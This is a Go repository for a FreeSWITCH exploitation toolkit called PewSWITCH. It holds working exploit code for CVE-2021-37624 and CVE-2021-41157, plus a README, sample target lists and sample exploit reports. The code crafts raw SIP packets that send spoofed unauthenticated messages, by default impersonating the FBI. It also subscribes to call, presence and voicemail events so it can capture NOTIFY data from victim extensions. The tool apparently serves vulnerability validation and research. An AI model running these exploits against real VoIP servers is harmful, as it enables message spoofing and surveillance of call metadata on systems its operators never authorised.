├── pewswitch-results ├── .gitkeep ├── sample-report.csv └── sample-report.json ├── .gitignore ├── go.mod ├── extensions-sample.txt ├── messages-sample.csv ├── LICENSE ├── conf.go ├── cve-2021-37624.go ├── main.go ├── cve-2021-41157.go ├── README.md └── utils.go /pewswitch-results/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.json 2 | *.csv 3 | pewswitch -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module pewswitch 2 | 3 | go 1.17 4 | -------------------------------------------------------------------------------- /extensions-sample.txt: -------------------------------------------------------------------------------- 1 | 1005@192.168.0.108 2 | 1001@192.168.0.108:5060 -------------------------------------------------------------------------------- /messages-sample.csv: -------------------------------------------------------------------------------- 1 | sender_name,sender_phone,message 2 | FBI,022-324-3000,FBI here. Open your door! 3 | 0xInfection,000-000-0000,Hi. Just confirming the vulnerability. 4 | SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF! -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2021 Pinaki Mondal (@0xInfection). 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining 4 | a copy of this software and associated documentation files (the 5 | "Software"), to deal in the Software without restriction, including 6 | without limitation the rights to use, copy, modify, merge, publish, 7 | distribute, sublicense, and/or sell copies of the Software, and to 8 | permit persons to whom the Software is furnished to do so, subject to 9 | the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be 12 | included in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 15 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 16 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 17 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 18 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 19 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 20 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /conf.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "sync" 6 | "time" 7 | ) 8 | 9 | type ( 10 | JSONTime time.Time 11 | ExpDetails41157 struct { 12 | Extension string `json:"extension"` 13 | NotifsRecvd []struct { 14 | Timestamp JSONTime `json:"timestamp"` 15 | Message string `json:"notification"` 16 | } `json:"notifications_received"` 17 | } 18 | ExpDetails37624 struct { 19 | Extension string `json:"extension"` 20 | SentMessages []struct { 21 | Message string `json:"message"` 22 | Timestamp JSONTime `json:"timestamp"` 23 | } `json:"sent_messages"` 24 | SentSuccessfully bool `json:"sent_successfully"` 25 | } 26 | fResult struct { 27 | Host string `json:"host"` 28 | Details struct { 29 | CVE202137624 struct { 30 | IsVulnerable bool `json:"is_vulnerable"` 31 | ExploitDetails []ExpDetails37624 `json:"exploit_details"` 32 | } `json:"cve_2021_37624,omitempty"` 33 | CVE202141157 struct { 34 | IsVulnerable bool `json:"is_vulnerable"` 35 | ExploitDetails []ExpDetails41157 `json:"exploit_details"` 36 | } `json:"cve_2021_41157,omitempty"` 37 | } `json:"vulnerability_details"` 38 | } 39 | ) 40 | 41 | var ( 42 | delay, maxConcurrent, maxExpires int 43 | userAgent, cveToScan, extensions string 44 | extFile, outdir, sendmsgs string 45 | monEvents, outFormat string 46 | allexts, allEvents []string 47 | finalResults []fResult 48 | msgstosend [][]string 49 | 50 | version = "0.1" 51 | allvulns = []string{"cve-2021-37624", "cve-2021-41157"} 52 | vulnToModule = map[string]interface{}{ 53 | "cve-2021-37624": cve2021x37624, 54 | "cve-2021-41157": cve2021x41157, 55 | } 56 | globalTex = &sync.Mutex{} 57 | lackofart = fmt.Sprintf(` 58 | ___ . ____ _ __ __ 59 | / _ \___|\ __/ __/| __(_) /_____/ / 60 | / ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \ 61 | /_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v%s 62 | 63 | "where we pew pew pew freeswitch"`, version) 64 | defaultMsgText = []string{ 65 | "FBI", 66 | "022-324-3000", 67 | "FBI here. Open your door!", 68 | } 69 | ) 70 | 71 | func (t JSONTime) MarshalJSON() ([]byte, error) { 72 | stamp := fmt.Sprintf("\"%s\"", time.Time(t).Format(time.RFC3339)) 73 | return []byte(stamp), nil 74 | } 75 | -------------------------------------------------------------------------------- /pewswitch-results/sample-report.csv: -------------------------------------------------------------------------------- 1 | extension,host,cve,is_vulnerable,message,timestamp 2 | 1005,192.168.0.108,CVE-2021-37624,true,FBI here. Open your door!,2021-12-05T19:59:22+05:30 3 | 1005,192.168.0.108,CVE-2021-41157,true,"\n\n",2021-12-05T19:59:22+05:30 4 | 1005,192.168.0.108,CVE-2021-41157,true,"\n\n",2021-12-05T19:59:22+05:30 5 | 1005,192.168.0.108,CVE-2021-41157,true," \n\n \n \n\n closed\n \n \n \n Unregistered\n \n",2021-12-05T19:59:22+05:30 6 | 1005,192.168.0.108,CVE-2021-41157,true,Messages-Waiting: no\n\nMessage-Account: sip:1005@192.168.0.108,2021-12-05T19:59:22+05:30 7 | 1005,192.168.0.108,CVE-2021-41157,true,"\n\n",2021-12-05T19:59:23+05:30 8 | 1005,192.168.0.108,CVE-2021-41157,true,"\n\n",2021-12-05T19:59:23+05:30 9 | 1005,192.168.0.108,CVE-2021-41157,true," \n\n \n \n\n closed\n \n \n \n Unregistered\n \n",2021-12-05T19:59:23+05:30 10 | 1005,192.168.0.108,CVE-2021-41157,true,Messages-Waiting: no\n\nMessage-Account: sip:1005@192.168.0.108,2021-12-05T19:59:23+05:30 11 | 1005,192.168.0.108,CVE-2021-41157,true,"\n\n",2021-12-05T19:59:25+05:30 12 | -------------------------------------------------------------------------------- /cve-2021-37624.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | func cve2021x37624(host string, pResult *fResult) { 12 | conn, err := net.DialTimeout("udp", strings.Split(host, "@")[1], 2*time.Second) 13 | if err != nil { 14 | log.Println(err.Error()) 15 | return 16 | } 17 | defer conn.Close() 18 | 19 | localIP := conn.LocalAddr().String() 20 | var expdets ExpDetails37624 21 | expdets.Extension = strings.Split(host, "@")[0] 22 | for _, message := range msgstosend { 23 | if message[0] == "sender_name" { 24 | continue 25 | } 26 | var payload string 27 | payload += fmt.Sprintf("MESSAGE sip:%s SIP/2.0\r\n", host) 28 | payload += fmt.Sprintf("Via: SIP/2.0/UDP %s;rport;branch=z9hG4bK-%s\r\n", localIP, genRandStr(8)) 29 | payload += fmt.Sprintf("From: \"%s\" ;tag=%s\r\n", message[0], message[1], strings.Split(host, "@")[1], genRandStr(8)) 30 | payload += fmt.Sprintf("To: \r\n", host) 31 | payload += "CSeq: 1 MESSAGE\r\n" 32 | payload += "Content-Type: text/plain\r\n" 33 | payload += fmt.Sprintf("Call-ID: %s\r\n", genRandStr(20)) 34 | payload += fmt.Sprintf("Contact: \r\n", message[1], strings.Split(host, "@")[1]) 35 | payload += fmt.Sprintf("User-Agent: %s\r\n", userAgent) 36 | payload += "Max-Forwards: 70\r\n" 37 | payload += fmt.Sprintf("Content-Length: %d\r\n", len(message[2])) 38 | payload += "\r\n" 39 | payload += message[2] 40 | 41 | conn.SetDeadline(time.Now().Add(5 * time.Second)) 42 | _, err = conn.Write([]byte(payload)) 43 | if err != nil { 44 | log.Println(err.Error()) 45 | } 46 | log.Printf(`Sent "%s" to %s!`, message[2], host) 47 | mbuff := make([]byte, 64) 48 | _, err = conn.Read(mbuff) 49 | if err != nil { 50 | log.Println(err.Error()) 51 | } 52 | expdets.SentMessages = append(expdets.SentMessages, struct { 53 | Message string "json:\"message\"" 54 | Timestamp JSONTime "json:\"timestamp\"" 55 | }{ 56 | Message: message[2], 57 | Timestamp: JSONTime(time.Now()), 58 | }) 59 | if validateRex.Match(mbuff) { 60 | expdets.SentSuccessfully = true 61 | pResult.Details.CVE202137624.IsVulnerable = true 62 | } 63 | time.Sleep(time.Duration(delay) * time.Second) 64 | } 65 | globalTex.Lock() 66 | pResult.Details.CVE202137624.ExploitDetails = append(pResult.Details.CVE202137624.ExploitDetails, expdets) 67 | globalTex.Unlock() 68 | if expdets.SentSuccessfully { 69 | log.Println("Exploit completed for CVE-2021-37624:", host) 70 | } else { 71 | log.Println("Exploit incomplete for CVE-2021-37624:", host) 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /pewswitch-results/sample-report.json: -------------------------------------------------------------------------------- 1 | { 2 | "host": "192.168.0.108", 3 | "vulnerability_details": { 4 | "cve_2021_37624": { 5 | "is_vulnerable": true, 6 | "exploit_details": [ 7 | { 8 | "extension": "1005", 9 | "sent_messages": [ 10 | { 11 | "message": "FBI here. Open your door!", 12 | "timestamp": "2021-12-05T20:00:27+05:30" 13 | } 14 | ], 15 | "sent_successfully": true 16 | } 17 | ] 18 | }, 19 | "cve_2021_41157": { 20 | "is_vulnerable": true, 21 | "exploit_details": [ 22 | { 23 | "extension": "1005", 24 | "notifications_received": [ 25 | { 26 | "timestamp": "2021-12-05T20:00:28+05:30", 27 | "notification": "\u003c?xml version=\"1.0\"?\u003e\n\u003cdialog-info xmlns=\"urn:ietf:params:xml:ns:dialog-info\" version=\"0\" state=\"full\" entity=\"sip:1005@192.168.0.108\"\u003e\n\u003c/dialog-info\u003e" 28 | }, 29 | { 30 | "timestamp": "2021-12-05T20:00:28+05:30", 31 | "notification": "\u003c?xml version=\"1.0\"?\u003e\n\u003cdialog-info xmlns=\"urn:ietf:params:xml:ns:dialog-info\" version=\"1\" state=\"full\" entity=\"sip:1005@192.168.0.108\"\u003e\n\u003c/dialog-info\u003e" 32 | }, 33 | { 34 | "timestamp": "2021-12-05T20:00:28+05:30", 35 | "notification": "\u003c?xml version=\"1.0\" encoding=\"ISO-8859-1\"?\u003e \n\u003cpresence xmlns='urn:ietf:params:xml:ns:pidf' \nxmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \nxmlns:rpid='urn:ietf:params:xml:ns:pidf:rpid' \nxmlns:c='urn:ietf:params:xml:ns:pidf:cipid' entity='sip:1005@192.168.0.108'\u003e\n \u003ctuple id='t6a5ed77e'\u003e\n \u003cstatus\u003e\r\n \u003cbasic\u003eclosed\u003c/basic\u003e\n \u003c/status\u003e\n \u003c/tuple\u003e\n \u003cdm:person id='p06360c4a'\u003e\n \u003cdm:note\u003eUnregistered\u003c/dm:note\u003e\n \u003c/dm:person\u003e\n\u003c/presence\u003e" 36 | }, 37 | { 38 | "timestamp": "2021-12-05T20:00:28+05:30", 39 | "notification": "Messages-Waiting: no\r\nMessage-Account: sip:1005@192.168.0.108" 40 | }, 41 | { 42 | "timestamp": "2021-12-05T20:00:29+05:30", 43 | "notification": "\u003c?xml version=\"1.0\"?\u003e\n\u003cdialog-info xmlns=\"urn:ietf:params:xml:ns:dialog-info\" version=\"0\" state=\"full\" entity=\"sip:1005@192.168.0.108\"\u003e\n\u003c/dialog-info\u003e" 44 | }, 45 | { 46 | "timestamp": "2021-12-05T20:00:29+05:30", 47 | "notification": "\u003c?xml version=\"1.0\"?\u003e\n\u003cdialog-info xmlns=\"urn:ietf:params:xml:ns:dialog-info\" version=\"1\" state=\"full\" entity=\"sip:1005@192.168.0.108\"\u003e\n\u003c/dialog-info\u003e" 48 | }, 49 | { 50 | "timestamp": "2021-12-05T20:00:29+05:30", 51 | "notification": "\u003c?xml version=\"1.0\" encoding=\"ISO-8859-1\"?\u003e \n\u003cpresence xmlns='urn:ietf:params:xml:ns:pidf' \nxmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \nxmlns:rpid='urn:ietf:params:xml:ns:pidf:rpid' \nxmlns:c='urn:ietf:params:xml:ns:pidf:cipid' entity='sip:1005@192.168.0.108'\u003e\n \u003ctuple id='t6a5ed77e'\u003e\n \u003cstatus\u003e\r\n \u003cbasic\u003eclosed\u003c/basic\u003e\n \u003c/status\u003e\n \u003c/tuple\u003e\n \u003cdm:person id='p06360c4a'\u003e\n \u003cdm:note\u003eUnregistered\u003c/dm:note\u003e\n \u003c/dm:person\u003e\n\u003c/presence\u003e" 52 | }, 53 | { 54 | "timestamp": "2021-12-05T20:00:29+05:30", 55 | "notification": "Messages-Waiting: no\r\nMessage-Account: sip:1005@192.168.0.108" 56 | }, 57 | { 58 | "timestamp": "2021-12-05T20:00:31+05:30", 59 | "notification": "\u003c?xml version=\"1.0\"?\u003e\n\u003cdialog-info xmlns=\"urn:ietf:params:xml:ns:dialog-info\" version=\"0\" state=\"full\" entity=\"sip:1005@192.168.0.108\"\u003e\n\u003c/dialog-info\u003e" 60 | } 61 | ] 62 | } 63 | ] 64 | } 65 | } 66 | } -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "os" 8 | "strings" 9 | "sync" 10 | "time" 11 | ) 12 | 13 | func processHostExt(host string) { 14 | var pResult fResult 15 | for vuln, runner := range vulnToModule { 16 | if isItemIn(vuln, &allvulns) { 17 | runner.(func(string, *fResult))(host, &pResult) 18 | } 19 | } 20 | pResult.Host = strings.Split(strings.Split(host, "@")[1], ":")[0] 21 | finalResults = append(finalResults, pResult) 22 | } 23 | 24 | func initScan(allhosts, allexts *[]string) { 25 | log.Println("Checking if hosts are alive and responding to SIP...") 26 | 27 | var alivehosts []string 28 | xmap := checkAlive(allhosts) 29 | for target, alive := range xmap { 30 | if alive { 31 | alivehosts = append(alivehosts, target) 32 | } else { 33 | log.Fatalf("Looks like '%s' is down / not responding to SIP.", target) 34 | } 35 | } 36 | 37 | hosts := make(chan string, maxConcurrent) 38 | maxProcs := new(sync.WaitGroup) 39 | maxProcs.Add(maxConcurrent) 40 | 41 | cwd, _ := os.Getwd() 42 | log.Printf("Using output directory %s under %s...", outdir, cwd) 43 | _, err := os.Stat(outdir) 44 | if err != nil { 45 | if os.IsNotExist(err) { 46 | log.Println("Output directory doesn't exist. Creating one...") 47 | if err = os.Mkdir(outdir, 0777); err != nil { 48 | log.Fatalln(err.Error()) 49 | } 50 | } 51 | } 52 | 53 | startTime := time.Now() 54 | log.Println("Starting scan at:", startTime.String()) 55 | for i := 0; i < maxConcurrent; i++ { 56 | go func() { 57 | for { 58 | host := <-hosts 59 | if host == "" { 60 | break 61 | } 62 | processHostExt(host) 63 | } 64 | maxProcs.Done() 65 | }() 66 | } 67 | 68 | if len(extFile) < 1 { 69 | for _, xhost := range alivehosts { 70 | for _, ext := range *allexts { 71 | hosts <- fmt.Sprintf("%s@%s", ext, xhost) 72 | } 73 | } 74 | } else { 75 | for _, host := range *readExtensionsFromFile(extFile) { 76 | *allhosts = append(*allhosts, host) 77 | if !strings.Contains(host, ":") { 78 | host = fmt.Sprintf("%s:5060", host) 79 | } 80 | hosts <- host 81 | } 82 | } 83 | 84 | close(hosts) 85 | maxProcs.Wait() 86 | 87 | if outFormat == "json" { 88 | log.Println("Writing results to destination directory as JSON...") 89 | if err = writeToJSON(&finalResults); err != nil { 90 | log.Panicln(err) 91 | } 92 | } else if outFormat == "csv" { 93 | log.Println("Writing results to destination directory as CSV...") 94 | if err = writeToCSV(&finalResults); err != nil { 95 | log.Panicln(err) 96 | } 97 | } 98 | 99 | log.Println("Scan finished at:", time.Now().String()) 100 | log.Printf("Total %d hosts scanned in %s.", len(*allhosts), time.Since(startTime).String()) 101 | } 102 | 103 | func main() { 104 | flag.IntVar(&delay, "delay", 0, "Delay in seconds between subsequent requests.") 105 | flag.IntVar(&maxConcurrent, "threads", 2, "Number of threads to use while scanning.") 106 | flag.IntVar(&maxExpires, "expires", 60, "Maximum value of the 'Expires' header for SUBSCRIBE requests.") 107 | flag.StringVar(&monEvents, "events", "", "Comma-separated list of events to be subscribed to. All events are monitored by default.") 108 | flag.StringVar(&userAgent, "user-agent", fmt.Sprintf("pewswitch/%s", version), "Custom user-agent string to use.") 109 | flag.StringVar(&cveToScan, "cve", "", "Specify a specific CVE to scan. Both vulns are tested by default.") 110 | flag.StringVar(&extensions, "exts", "", "Comma separated list of extensions to scan.") 111 | flag.StringVar(&extFile, "ext-file", "", "Specify a file containing extensions instead of '-exts'.") 112 | flag.StringVar(&sendmsgs, "msg-file", "", "Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624).") 113 | flag.StringVar(&outdir, "out-dir", "./pewswitch-results/", "Output directory to write the results to.") 114 | flag.StringVar(&outFormat, "out-format", "json", "Output format type of the results. Can be either 'json' or 'csv'.") 115 | 116 | mainUsage := func() { 117 | fmt.Fprint(os.Stdout, lackofart, "\n\n") 118 | fmt.Fprintf(os.Stdout, "Usage of %s:\n", os.Args[0]) 119 | flag.PrintDefaults() 120 | } 121 | flag.Usage = mainUsage 122 | flag.Parse() 123 | fmt.Print(lackofart, "\n\n") 124 | targets := flag.Args() 125 | if (len(targets) < 1 || len(extensions) < 1) && len(extFile) < 1 { 126 | log.Println("You need to supply at least a valid target & extension to scan!\n\nUsage:") 127 | flag.PrintDefaults() 128 | os.Exit(1) 129 | } 130 | if outFormat != "json" && outFormat != "csv" { 131 | log.Println("The only output formats allowed are json and csv.") 132 | flag.PrintDefaults() 133 | os.Exit(1) 134 | } 135 | if len(cveToScan) != 0 { 136 | allvulns = []string{strings.ToLower(cveToScan)} 137 | } 138 | xflag := false 139 | for x := range targets { 140 | if !strings.Contains(targets[x], ":") { 141 | xflag = true 142 | targets[x] = fmt.Sprintf("%s:5060", targets[x]) 143 | } 144 | } 145 | // just letting the user know we're defaulting to 5060. 146 | if xflag { 147 | log.Println("No port supplied, using default port 5060 for targets...") 148 | } 149 | for _, ext := range strings.Split(extensions, ",") { 150 | allexts = append(allexts, strings.TrimSpace(ext)) 151 | } 152 | if len(sendmsgs) > 0 { 153 | msgstosend = append(msgstosend, readCsvFile(sendmsgs)...) 154 | } else { 155 | msgstosend = append(msgstosend, defaultMsgText) 156 | } 157 | if len(monEvents) > 0 { 158 | for _, x := range strings.Split(monEvents, ",") { 159 | allEvents = append(allEvents, strings.TrimSpace(x)) 160 | } 161 | } else { 162 | allEvents = events 163 | } 164 | initScan(&targets, &allexts) 165 | } 166 | -------------------------------------------------------------------------------- /cve-2021-41157.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "log" 7 | "net" 8 | "regexp" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | var ( 14 | maxBufLen = 20480 15 | dialTimeout = 2 16 | events = []string{ 17 | "talk", "hold", "conference", "as-feature-event", 18 | "dialog", "line-seize", "call-info", "sla", 19 | "include-session-description", "presence", 20 | "presence.winfo", "message-summary", "refer", 21 | } 22 | rportRex = regexp.MustCompile(`(?i)rport=(\d{1,5})`) 23 | recvdRex = regexp.MustCompile(`(?i)received=((?:\d{1,3}\.){3}\d{1,3})`) 24 | validateRex = regexp.MustCompile(`(?i)20\d\s*(?:OK|Accepted)`) 25 | sanitiseRex = regexp.MustCompile(`(?:\r|\n)`) 26 | serverHead = regexp.MustCompile(`(?i)(?:server|user\-agent):\s*(.+)`) 27 | ) 28 | 29 | func cve2021x41157(host string, pResult *fResult) { 30 | mextn := strings.Split(host, "@")[0] 31 | mhost := strings.Split(host, "@")[1] 32 | conn, err := net.DialTimeout("udp", mhost, time.Duration(dialTimeout)*time.Second) 33 | if err != nil { 34 | log.Println(err.Error()) 35 | return 36 | } 37 | defer conn.Close() 38 | 39 | localIP := conn.LocalAddr().String() 40 | var payload string 41 | payload += fmt.Sprintf("SUBSCRIBE sip:%s;transport=UDP SIP/2.0\r\n", strings.Split(host, ":")[0]) 42 | payload += fmt.Sprintf("Via: SIP/2.0/UDP 127.0.0.1:12701;rport;branch=z9hG4bK-%s\r\n", genRandStr(10)) 43 | payload += "Accept: */*\r\n" 44 | payload += fmt.Sprintf("To: \r\n", host) 45 | payload += fmt.Sprintf("From: ;tag=%s\r\n", strings.Split(mhost, ":")[0], genRandStr(8)) 46 | payload += fmt.Sprintf("Contact: \r\n", mextn) 47 | payload += "Max-Forwards: 70\r\n" 48 | payload += fmt.Sprintf("Expires: %d\r\n", maxExpires) 49 | payload += fmt.Sprintf("User-Agent: %s\r\n", userAgent) 50 | payload += fmt.Sprintf("Call-ID: %s\r\n", genRandStr(20)) 51 | payload += "CSeq: 1 SUBSCRIBE\r\n" 52 | payload += "Event: dialog\r\n" 53 | payload += "Content-Length: 0\r\n" 54 | payload += "\r\n" 55 | 56 | //conn.SetDeadline(time.Now().Add(time.Duration(connTimeout) * time.Second)) 57 | _, err = conn.Write([]byte(payload)) 58 | if err != nil { 59 | log.Println(err.Error()) 60 | return 61 | } 62 | time.Sleep(time.Duration(delay) * time.Second) 63 | buff := make([]byte, maxBufLen) 64 | dchan := make(chan []byte, 1) 65 | go func() { 66 | _, err = conn.Read(buff) 67 | if err != nil { 68 | log.Println(err.Error()) 69 | } 70 | dchan <- buff 71 | }() 72 | select { 73 | case <-dchan: 74 | case <-time.After(5 * time.Second): 75 | log.Println("Received initial dialog connection timeout from:", host) 76 | log.Println("Stopping all further checks for CVE-2021-41157...") 77 | return 78 | } 79 | 80 | r := rportRex.FindAllSubmatch(buff, -1) 81 | s := recvdRex.FindAllSubmatch(buff, -1) 82 | recvd, rport := "", string(r[0][1]) 83 | if len(s) > 0 { 84 | recvd = string(s[0][1]) 85 | } else { 86 | recvd = localIP 87 | } 88 | 89 | log.Printf("Trying to subscribe extension for %d seconds...", maxExpires) 90 | for _, event := range allEvents { 91 | var payload string 92 | payload += fmt.Sprintf("SUBSCRIBE sip:%s;transport=UDP SIP/2.0\r\n", strings.Split(host, ":")[0]) 93 | payload += fmt.Sprintf("Via: SIP/2.0/UDP %s:%s;rport;branch=z9hG4bK-%s\r\n", recvd, rport, genRandStr(10)) 94 | payload += "Accept: */*\r\n" 95 | payload += fmt.Sprintf("To: \r\n", host) 96 | payload += fmt.Sprintf("From: ;tag=%s\r\n", strings.Split(mhost, ":")[0], genRandStr(8)) 97 | payload += fmt.Sprintf("Contact: \r\n", mextn, recvd, rport) 98 | payload += "Max-Forwards: 70\r\n" 99 | payload += fmt.Sprintf("Expires: %d\r\n", maxExpires) 100 | payload += fmt.Sprintf("User-Agent: %s\r\n", userAgent) 101 | payload += fmt.Sprintf("Call-ID: %s\r\n", genRandStr(20)) 102 | payload += "CSeq: 1 SUBSCRIBE\r\n" 103 | payload += fmt.Sprintf("Event: %s\r\n", event) 104 | payload += "Content-Length: 0\r\n" 105 | payload += "\r\n" 106 | _, err := conn.Write([]byte(payload)) 107 | if err != nil { 108 | log.Println(err.Error()) 109 | continue 110 | } 111 | log.Printf("Subscribing to extension %s for event: %s", mextn, event) 112 | time.Sleep(time.Duration(delay) * time.Second) 113 | } 114 | // we keep reading for the time in our Expires header 115 | conn.SetReadDeadline(time.Now().Add(time.Duration(maxExpires) * time.Second)) 116 | var expdets ExpDetails41157 117 | expdets.Extension = mextn 118 | notcount := 0 119 | log.Printf("Starting to listen for NOTIFY messages for %d seconds...", maxExpires) 120 | for x := time.Now(); time.Since(x) < time.Duration(maxExpires)*time.Second; { 121 | buff := make([]byte, maxBufLen) 122 | _, err := conn.Read(buff) 123 | if err != nil { 124 | // if we hit the connection deadline, we don't continue reading any more 125 | if strings.Contains(err.Error(), "i/o timeout") { 126 | break 127 | } else { 128 | log.Println(err.Error()) 129 | } 130 | } 131 | buff = bytes.Trim(buff, "\x00") 132 | body := strings.TrimSpace(strings.Split(string(buff), "\r\n\r\n")[1]) 133 | if len(body) > 0 { 134 | thisTime := time.Now() 135 | fmt.Printf("\r%d/%02d/%02d %02d:%02d:%02d Notifications received for extension %s: %d", 136 | thisTime.Year(), thisTime.Month(), thisTime.Day(), thisTime.Hour(), 137 | thisTime.Minute(), thisTime.Second(), mextn, notcount) 138 | pResult.Details.CVE202141157.IsVulnerable = true 139 | expdets.NotifsRecvd = append(expdets.NotifsRecvd, struct { 140 | Timestamp JSONTime `json:"timestamp"` 141 | Message string `json:"notification"` 142 | }{ 143 | Timestamp: JSONTime(thisTime), 144 | Message: body, 145 | }) 146 | notcount++ 147 | } 148 | } 149 | fmt.Print("\n") 150 | globalTex.Lock() 151 | pResult.Details.CVE202141157.ExploitDetails = append(pResult.Details.CVE202141157.ExploitDetails, expdets) 152 | globalTex.Unlock() 153 | if len(expdets.NotifsRecvd) > 1 { 154 | log.Println("Exploit completed for CVE-2021-41157:", host) 155 | } else { 156 | log.Println("Exploit likely incomplete for CVE-2021-41157:", host) 157 | } 158 | } 159 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PewSWITCH 2 | A FreeSWITCH specific scanning and exploitation toolkit for CVE-2021-37624 and CVE-2021-41157. 3 | 4 | > Related blog: https://0xinfection.github.io/posts/analyzing-freeswitch-vulns/ 5 | 6 | ## Usage 7 | The help statement of the tool is as below: 8 | ```groovy 9 | $ ./pewswitch --help 10 | 11 | ___ . ____ _ __ __ 12 | / _ \___|\ __/ __/| __(_) /_____/ / 13 | / ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \ 14 | /_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v0.1 15 | 16 | "where we pew pew pew freeswitch" 17 | 18 | Usage of ./pewswitch: 19 | -cve string 20 | Specify a specific CVE to scan. Both vulns are tested by default. 21 | -delay int 22 | Delay in seconds between subsequent requests. (default 0) 23 | -events string 24 | Comma-separated list of events to be subscribed to. All events are monitored by default. 25 | -expires int 26 | Maximum value of the 'Expires' header for SUBSCRIBE requests. (default 60) 27 | -ext-file string 28 | Specify a file containing extensions instead of '-exts'. 29 | -exts string 30 | Comma separated list of extensions to scan. 31 | -msg-file string 32 | Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624). 33 | -out-dir string 34 | Output directory to write the results to. (default "./pewswitch-results/") 35 | -out-format string 36 | Output format type of the results. Can be either 'json' or 'csv'. (default "json") 37 | -threads int 38 | Number of threads to use while scanning. (default 2) 39 | -user-agent string 40 | Custom user-agent string to use. (default "pewswitch/0.1") 41 | ``` 42 | 43 | ### Scanning for a specific vulnerability 44 | By default the tool scans for both vulnerabilites. If you want to test for a specific vulnerability, you can use the `-cve` flag to test for a specific vulnerability. 45 | 46 | Example: 47 | ```groovy 48 | ./pewswitch -cve 'cve-2021-37624' -exts 1000 freeserver.voip.com 49 | ``` 50 | 51 | ### Specifying extensions 52 | To specify extensions, you can choose either of the methods: 53 | - Specify a comma separated list of extensions via the `-exts` argument. 54 | 55 | Example: 56 | ```powershell 57 | ./pewswitch -exts 1000,1001 freeserver.voip.com freeserver1.voip.com:5060 58 | ``` 59 | This will make the tool to test for combinations of pairs for each extension with every host. So the end targets that will be tested in the above command are: `1000@freeserver.voip.com`, `1001@freeserver.voip.com`, `1000@freeserver1.voip.com:5060` and `1001@freeserver1.voip.com:5060`. 60 | 61 | - Specify a file containing extensions. Note that when using a file, you need to specify both user and host. This is especially useful when you have to test specific extensions on specific servers. An example of such a file (e.g. [`extensions-sample.txt`](extensions-sample.txt)) could look like this: 62 | ``` 63 | 1000@freeserver.voip.com 64 | 1001@freeserver1.voip.com:5060 65 | 1002@freeserver01.voip.com:5660 66 | ... 67 | ``` 68 | 69 | Example: 70 | ```groovy 71 | ./pewswitch -ext-file extensions-sample.txt 72 | ``` 73 | 74 | Note that if any port is not specified with the host, port 5060 will be used by default as the destination port. 75 | 76 | ### Output 77 | The tool can output in 2 different formats, namely JSON and CSV. The default output format is JSON. Output format can be changed using the `-out-format` switch. 78 | 79 | Example: 80 | ```groovy 81 | ./pewswitch -exts 1000 -out-format csv freeserver.voip.com 82 | ``` 83 | 84 | You can find samples of reports in [`json`](pewswitch-results/sample-report.json) as well as [`csv`](pewswitch-results/sample-report.csv) format in the `./pewswitch-results/` directory. 85 | 86 | The destination output directory can be changed using the `-out-dir` argument. By default the output directory is `./pewswitch-results/` which is created in the current working directory while running the tool. 87 | 88 | Example: 89 | ```groovy 90 | ./pewswitch -ext-file extensions-sample.txt -out-dir /tmp 91 | ``` 92 | 93 | ### Request Specific Settings 94 | There are some additional packet specific settings in the tool that allows customization of requests during vulnerability validation/exploitation. 95 | 96 | #### MESSAGE packets 97 | If a server is found _vulnerable_ to CVE-2021-37624, by default a sample message from name `FBI` and number `022-324-3000` is sent to the target extension. The contents of the message looks like this: `FBI here. Open your door!` 98 | 99 | This behaviour can be changed by making use of the `-msg-file` argument. This accepts a CSV file containing the name of the sender, the phone number and lastly the message contents to be sent. An example of such a file is [`messages-sample.csv`](messages-sample.csv). 100 | ``` 101 | sender_name,sender_phone,message 102 | FBI,022-324-3000,FBI here. Open your door! 103 | 0xInfection,000-000-0000,Hi. Just confirming the vulnerability. 104 | SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF! 105 | ``` 106 | Example: 107 | ```groovy 108 | ./pewswitch -cve 'cve-2021-27624' -msg-file messages-sample.csv -exts 1000 freeserver.voip.com 109 | ``` 110 | 111 | #### SUBSCRIBE requests 112 | By default, the tool sends SUBSCRIBE requests with a `Expires` header set at 60 seconds. It is for the same time-frame the tool will continue to listen for NOTIFY messages from the server. The value can be changed by making use of the `-expires` flag. 113 | 114 | Example: 115 | ```groovy 116 | ./pewswitch -expires 600 -ext-file extensions-sample.txt 117 | ``` 118 | 119 | The tool also monitors for NOTIFY messages by subscribing to *__all__* events. A list of all events is below: 120 | - `talk` 121 | - `hold` 122 | - `conference` 